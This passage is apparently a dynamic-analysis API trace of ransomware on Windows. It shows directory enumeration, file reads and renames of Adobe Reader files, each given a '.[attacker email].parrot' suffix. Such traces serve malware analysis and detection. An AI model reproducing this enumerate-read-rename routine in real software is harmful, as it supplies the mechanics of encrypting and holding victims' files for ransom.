returned 1 [0245.618] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.619] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.620] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.636] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.637] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.642] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.642] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.644] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.644] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.645] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.645] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.651] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.651] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.652] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.652] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0245.654] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.654] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.659] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.659] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.660] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.660] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.661] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.662] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.666] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.666] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.667] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.668] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2000, lpOverlapped=0x0) returned 1 [0245.668] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.669] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rum.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.673] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.673] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.675] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.676] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.676] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.677] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rus.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.681] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.681] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.682] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.682] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.683] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.684] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sky.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.690] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.690] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.691] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.692] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.692] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.693] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SLV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.slv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.697] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.697] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.699] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.699] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.700] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.700] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SUO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.suo.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.704] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.704] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.706] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.707] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.707] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.712] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.712] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.713] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.714] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.714] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.715] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.719] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.719] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.720] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.721] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.721] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.722] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.725] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.726] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0245.728] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0245.728] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.728] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0245.728] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0245.728] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0245.729] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.729] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.730] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.731] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.731] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.732] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.737] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.737] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.738] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.739] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.740] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.740] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.745] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.745] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.746] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.746] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.747] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.747] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cht.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.791] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.793] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.793] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1e00, lpOverlapped=0x0) returned 1 [0245.794] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.794] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0245.800] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0245.800] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0245.801] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.801] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e00, 